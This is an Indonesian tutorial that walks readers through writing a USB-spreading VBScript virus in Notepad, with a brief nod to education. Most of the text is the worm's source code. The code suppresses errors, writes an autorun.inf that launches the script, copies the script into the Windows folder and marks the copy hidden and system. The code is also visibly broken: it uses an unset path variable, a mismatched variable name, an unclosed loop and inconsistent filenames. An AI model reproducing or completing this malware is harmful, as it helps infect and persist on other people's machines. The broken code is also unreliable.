virus via notepad (by NIghtTalkerz)

Iseng-iseng mencolok Flash Disc saudara saya tiba-tiba saya nemu sebuah malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.

(tulisan ini hanya bertujuan untuk memperkaya ilmu)
Virus ini saya beri nama “NightTalkerz.VBS”. Sekarang buka Notepad-nya. Copy kode berikut :

----------------------------------------------------------------------------------------------------

'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//
on error resume next

'//--Dim kata-kata berikut ini--//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe NIghtTalkerz.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

set tf=fs.createtextfile(windowpath & "\batch- NIghtTalkerz.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- NightTalkerz.dll.vbs ")
tf.attributes = 39
